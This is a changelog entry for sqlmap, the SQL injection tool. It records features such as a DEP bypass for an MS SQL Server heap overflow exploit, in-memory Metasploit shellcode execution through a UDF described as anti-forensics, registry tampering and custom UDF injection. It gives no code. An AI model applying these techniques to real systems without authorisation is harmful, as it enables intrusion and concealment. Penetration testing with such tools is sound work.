Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring.
